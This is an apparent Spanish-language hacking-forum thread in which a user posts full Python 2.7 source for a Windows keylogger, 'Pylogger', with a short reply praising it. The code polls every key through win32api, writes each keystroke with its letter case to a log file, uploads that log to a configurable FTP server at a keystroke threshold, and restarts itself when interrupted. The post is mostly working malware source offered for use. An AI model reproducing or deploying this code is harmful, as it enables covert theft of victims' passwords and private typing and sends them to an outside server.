Keylogger en python(con win32api)[APORTE]

Iniciado por WarZ0n3, 16 Abril 2013, 14:57 PM

0 Miembros y 1 Visitante están viendo este tema.

WarZ0n3

Saludos a toda la comunidad.  :-*
Hoy les traigo un keylogger que programe en python 2.7 usando win32api, funciona vía FTP, y reconoce mayusculas y minusculas.
El código es muy simple y lo aporto con la esperanza de que alguien pueda aprender algo de este versátil lenguaje.
La explicación esta en la descripción... Si tiene alguna duda pregunten!
COMENTEN y gracias!!.  ::)

Código (python) [Seleccionar]

#******************************************#
#           Pylogger @por WarZ0n3          #
#******************************************#
# Explicacion:                             #
# Pylogger funciona via FTP para poder     #
# usarlo deben de tener su propio servidor #
# FTP ya sea casero. O en un Hosting...    #
# Nota: tambien reconoce minusculas        #
# mayusculas                               #
#******************************************#
# Configuracion y uso:                     #
# Pulsaciones : el numero de pulsaciones   #
# que se cumpliran hasta enviarlo por FTP. #
# ftp_servidor: Tu servidor FTP.           #
# ftp_user    : Tu usuario.                #
# ftp_pass    : Tu contraseña.        #
# logs        : archivo en donde se guarda-#
# ran las pulsaciones(tambien puede ser    #
# referido por ruta EJ: 'C/logs.txt' )     #
#******************************************#

# -*- coding: utf-8 -*-
# !usr/bin/python
import win32api, ftplib, os, sys
#   __Variables__
global Ok
Ok = False

# CONFIGURACION #
pulsaciones= 55
ftp_servidor= 'ftp.tuserver.com'
ftp_user= 'usuario'
ftp_pass= 'pass'
logs= 'lg56.txt'

def __larc():
    try:
        l= open(logs, 'w').write('')
        l.close()
        Keylogger()
    except: Keylogger()
def __cFTP():
    f= ftplib.FTP(ftp_servidor, ftp_user, ftp_pass)
    try:
        fichero= open(logs, 'rb+')
        f.storbinary('STOR'+ ' ' +logs, fichero)
        print f.storbinary
        f.close()
        f.quit()
        __larc()
    except: __larc()
def __comp():
    if os.path.isfile(logs):
        tam = os.path.getsize(logs)
        bytes = 1024
        result = (tam<bytes and 'Bytes' or [(tam<bytes*1000 and 'KB' or [(tam<bytes*1000000 and 'MB' or 'GB')[0]])[0]][0])
        if tam==pulsaciones:
            __cFTP()
def Keylogger():
    try:
        while True:
            fo= open(logs, 'a+')
            for k in range(0, 256):
                key= win32api.GetAsyncKeyState(k)
                if key == -32767: # si es presionada
                    if k == 20:
                        global Ok
                        Ok = True
                        print "Mayus"
                        fo.write('(Mayus)')
                    if k == 20 and MON is True:
                        Ok= False
                       
                    MON= Ok
                    if k == 81 and MON is False:
                        print "q"
                        fo.write('q')
                    if k == 81 and MON is True:
                        print "Q"
                        fo.write('Q')
                   
                    if k == 87 and MON is False:
                        print "w"
                        fo.write('w')
                    if k == 87 and MON is True:
                        print "W"
                        fo.write('W')
                       
                    if k == 69 and MON is False:
                        print "e"
                        fo.write('e')
                    if k == 69 and MON is True:
                        print "E"
                        fo.write('E')
                       
                    if k == 82 and MON is False:
                        print "r"
                        fo.write('r')
                    if k == 82 and MON is True:
                        print "R"
                        fo.write('R')
                       
                    if k == 84 and MON is False:
                        print "t"
                        fo.write('t')
                    if k == 84 and MON is True:
                        print "T"
                        fo.write('T')
                       
                    if k == 89 and MON is False:
                        print "y"
                        fo.write('y')
                    if k == 89 and MON is True:
                        print "Y"
                        fo.write('Y')
                       
                    if k == 85 and MON is False:
                        print "u"
                        fo.write('u')
                    if k == 85 and MON is True:
                        print "U"
                        fo.write('U')

                    if k == 73 and MON is False:
                        print "i"
                        fo.write('i')
                    if k == 73 and MON is True:
                        print "I"
                        fo.write('I')
                       
                    if k == 79 and MON is False:
                        print "o"
                        fo.write('o')
                    if k == 79 and MON is True:
                        print "O"
                        fo.write('O')
                       
                    if k == 80 and MON is False:
                        print "p"
                        fo.write('p')
                    if k == 80 and MON is True:
                        print "P"
                        fo.write('P')
                   
                    if k == 65 and MON is False:
                        print "a"
                        fo.write('a')
                    if k == 65 and MON is True:
                        print "A"
                        fo.write('A')
                   
                    if k == 83 and MON is False:
                        print "s"
                        fo.write('s')
                    if k == 83 and MON is True:
                        print "S"
                        fo.write('S')
                   
                    if k == 68 and MON is False:
                        print "d"
                        fo.write('d')
                    if k == 68 and MON is True:
                        print "D"
                        fo.write('D')
                       
                    if k == 70 and MON is False:
                        print "f"
                        fo.write('f')
                    if k == 70 and MON is True:
                        print "F"
                        fo.write('F')

                    if k == 71 and MON is False:
                        print "g"
                        fo.write('g')
                    if k == 71 and MON is True:
                        print "G"
                        fo.write('G')
                       
                    if k == 72 and MON is False:
                        print "h"
                        fo.write('h')
                    if k == 72 and MON is True:
                        print "H"
                        fo.write('H')
                       
                    if k == 74 and MON is False:
                        print "j"
                        fo.write('j')
                    if k == 74 and MON is True:
                        print "J"
                        fo.write('J')
                       
                    if k == 75 and MON is False:
                        print "k"
                        fo.write('k')
                    if k == 75 and MON is True:
                        print "K"
                        fo.write('K')
                   
                    if k == 76 and MON is False:
                        print "l"
                        fo.write('l')
                    if k == 76 and MON is True:
                        print "L"
                        fo.write('L')
                                 
                    if k == 90 and MON is False:
                        print "z"
                        fo.write('z')
                    if k == 90 and MON is True:
                        print "Z"
                        fo.write('Z')
                       
                    if k == 88 and MON is False:
                        print "x"
                        fo.write('x')
                    if k == 88 and MON is True:
                        print "X"
                        fo.write('X')
                       
                    if k == 67 and MON is False:
                        print "c"
                        fo.write('c')
                    if k == 67 and MON is True:
                        print "C"
                        fo.write('C')
                       
                    if k == 86 and MON is False:
                        print "v"
                        fo.write('v')
                    if k == 86 and MON is True:
                        print "V"
                        fo.write('V')
                       
                    if k == 66 and MON is False:
                        print "b"
                        fo.write('b')
                    if k == 66 and MON is True:
                        print "B"
                        fo.write('B')
                       
                    if k == 78 and MON is False:
                        print "n"
                        fo.write('n')
                    if k == 78 and MON is True:
                        print "N"
                        fo.write('N')
                       
                    if k == 77 and MON is False:
                        print "m"
                        fo.write('m')
                    if k == 77 and MON is True:
                        print "M"
                        fo.write('M')
                       
                    if k == 48: print "0" , fo.write('0')
                    if k == 49: print "1" , fo.write('1')
                    if k == 50: print "2" , fo.write('2')
                    if k == 51: print "3" , fo.write('3')
                    if k == 52: print "4" , fo.write('4')
                    if k == 53: print "5" , fo.write('5')
                    if k == 54: print "6" , fo.write('6')
                    if k == 55: print "7" , fo.write('7')
                    if k == 56: print "8" , fo.write('8')
                    if k == 57: print "9" , fo.write('9')
                    if k == 226: print "<" , fo.write('<')
                    if k == 219: print "'" , fo.write("'")
                    if k == 221: print "¡" , fo.write('¡')
                    if k == 222: print "Ž" , fo.write('ŽŽ')
                    if k == 220: print "º" , fo.write('º')
                    if k == 186: print "`" , fo.write('``')
                    if k == 187: print "+" , fo.write('+')
                    if k == 191: print "ç" , fo.write('ç')
                    if k == 189: print "-" , fo.write('-')
                    if k == 190: print "." , fo.write('.')
                    if k == 188: print "," , fo.write(',')
                   
                    #if k == 2: print "Click_D" , fo.write('(Click_D)')
                    #if k == 1: print "Click_I" , fo.write('(Click_I)')
                    if k == 27: print "Esc" , fo.write('(Esc)')
                    if k == 8: print "Back" , fo.write('(Back)')
                    if k == 91: print "Windows_I" , fo.write('(Windows_I)')
                    if k == 92: print "Windows_D" , fo.write('(Windows_D)')
                    if k == 93: print "Command" , fo.write('(Command)')
                    if k == 144: print "BloqNum" , fo.write('(BloqNum)')
                    if k == 145: print "BloqDespl" , fo.write('(BloqDespl)')
                    if k == 32: print "Space" , fo.write('(Space)')
                    if k == 9: print "TAB" , fo.write('(TAB)')
                    if k == 45: print "Insert" , fo.write('(Insert)')
                    if k == 17: print "Ctrl" , fo.write('(Ctrl)')
                    if k == 18: print "Alt" , fo.write('(Alt)')
                    if k == 13: print "Enter" , fo.write('(Enter)')
                    if k == 16: print "Shift" , fo.write('(Shift)')
                   
                    if k == 39: print "RIGHT" , fo.write('(RIGHT)')
                    if k == 38: print "UP" , fo.write('(UP)')
                    if k == 37: print "LEFT" , fo.write('(LEFT)')
                    if k == 40: print "DOWN" , fo.write('(DOWN)')
                    if k == 36: print "Inicio" , fo.write('(Inicio)')
                    if k == 35: print "Fin" , fo.write('(Fin)')
                    if k == 34: print "AvPag" , fo.write('(AvPag)')
                    if k == 33: print "RePag" , fo.write('(RePag)')
                    if k == 44: print "ImprPantPetSis" , fo.write('(ImprPantPetSis)')
                    if k == 46: print "Supr" , fo.write('(Supr)')

                    if k == 96: print "KPAD_0" , fo.write('(KPAD_0)')
                    if k == 97: print "KPAD_1" , fo.write('(KPAD_1)')
                    if k == 98: print "KPAD_2" , fo.write('(KPAD_2)')
                    if k == 99: print "KPAD_3" , fo.write('(KPAD_3)')
                    if k == 100: print "KPAD_4" , fo.write('(KPAD_4)')
                    if k == 101: print "KPAD_5" , fo.write('(KPAD_5)')
                    if k == 102: print "KPAD_6" , fo.write('(KPAD_6)')
                    if k == 103: print "KPAD_7" , fo.write('(KPAD_7)')
                    if k == 104: print "KPAD_8" , fo.write('(KPAD_8)')
                    if k == 105: print "KPAD_9" , fo.write('(KPAD_9)')
                    if k == 106: print "KPAD_*" , fo.write('(KPAD_*)')
                    if k == 107: print "KPAD_+" , fo.write('(KPAD_+)')
                    if k == 109: print "KPAD_-" , fo.write('(KPAD_-)')
                    if k == 110: print "KPAD_." , fo.write('(KPAD_.)')
                    if k == 111: print "KPAD_/" , fo.write('(KPAD_/)')
                   
                    if k == 112: print "F1" , fo.write('(F1)')
                    if k == 113: print "F2" , fo.write('(F2)')
                    if k == 114: print "F3" , fo.write('(F3)')
                    if k == 115: print "F4" , fo.write('(F4)')
                    if k == 116: print "F5" , fo.write('(F5)')
                    if k == 117: print "F6" , fo.write('(F6)')
                    if k == 118: print "F7" , fo.write('(F7)')
                    if k == 119: print "F8" , fo.write('(F8)')
                    if k == 120: print "F9" , fo.write('(F9)')
                    if k == 121: print "F10" , fo.write('(F10)')
                    if k == 122: print "F11" , fo.write('(F11)')
                    if k == 123: print "F12" , fo.write('(F12)')
                __comp()
    except KeyboardInterrupt: Keylogger()
Keylogger()


daryo

buen aporte para el uso de apis en python muchos ni saben que se puede salu2
buenas